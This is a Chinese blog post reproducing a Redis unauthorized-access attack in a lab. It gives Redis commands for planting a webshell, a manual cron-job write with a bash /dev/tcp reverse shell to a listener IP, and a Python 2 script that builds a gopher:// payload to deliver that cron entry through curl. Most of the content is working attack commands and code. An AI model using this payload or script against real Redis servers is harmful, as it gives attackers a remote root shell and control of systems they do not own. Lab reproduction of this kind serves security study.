3. redis未授权漏洞复现(写入linux计划任务反弹shell)

前提:

  1.靶机是Centos环境

  2.redis低版本,具体低于多少不清楚

 ——————主要几个命令操作——————

  flushall             //清空所有key值
  config get dir          //获取路径
  config set dir /**/**/       //设置路径
  set xxx ' 一句话木马 '   //设置xxx值为一句话木马
  config set dbfilename 111.jsp /  /设置文件名
  save                //将xxx默认写入到111.jsp

方式一:直接用进入redis写入计划任务(失败,未成功反弹shell,失败原因:未知,到靶机系统查看文件也成功写入了,但是和下面使用脚本写的就是格式上有点不一样)

  1.set 1 ' */1 * * * * bash -i >& /dev/tcp/192.168.43.183/7777 0>&1 '

  2.config set dir /var/spool/cron/
  3.config set dbfilename root
  4.save

  

 方式二:使用脚本写入(原理和上面同理,成功率高)

  ip是目标系统的,server_ip是接收shell的

import urllib
protocol="gopher://"
ip='192.168.43.144'
port='6379'
reverse_ip="192.168.43.183"
reverse_port="4444"
cron="



*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1



"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"
passwd=""
cmd=["flushall",
     "set 1 {}".format(cron.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
"save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="
"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

  1.改好脚本后运行:python2 redis.py

  

   2.curl命令执行

  

   3.监听成功

  

  

参考链接:

https://mp.weixin.qq.com/s/Vj24aRbr3P7Pg59HE3SpRQ

原文地址:https://www.cnblogs.com/hei-zi/p/14103017.html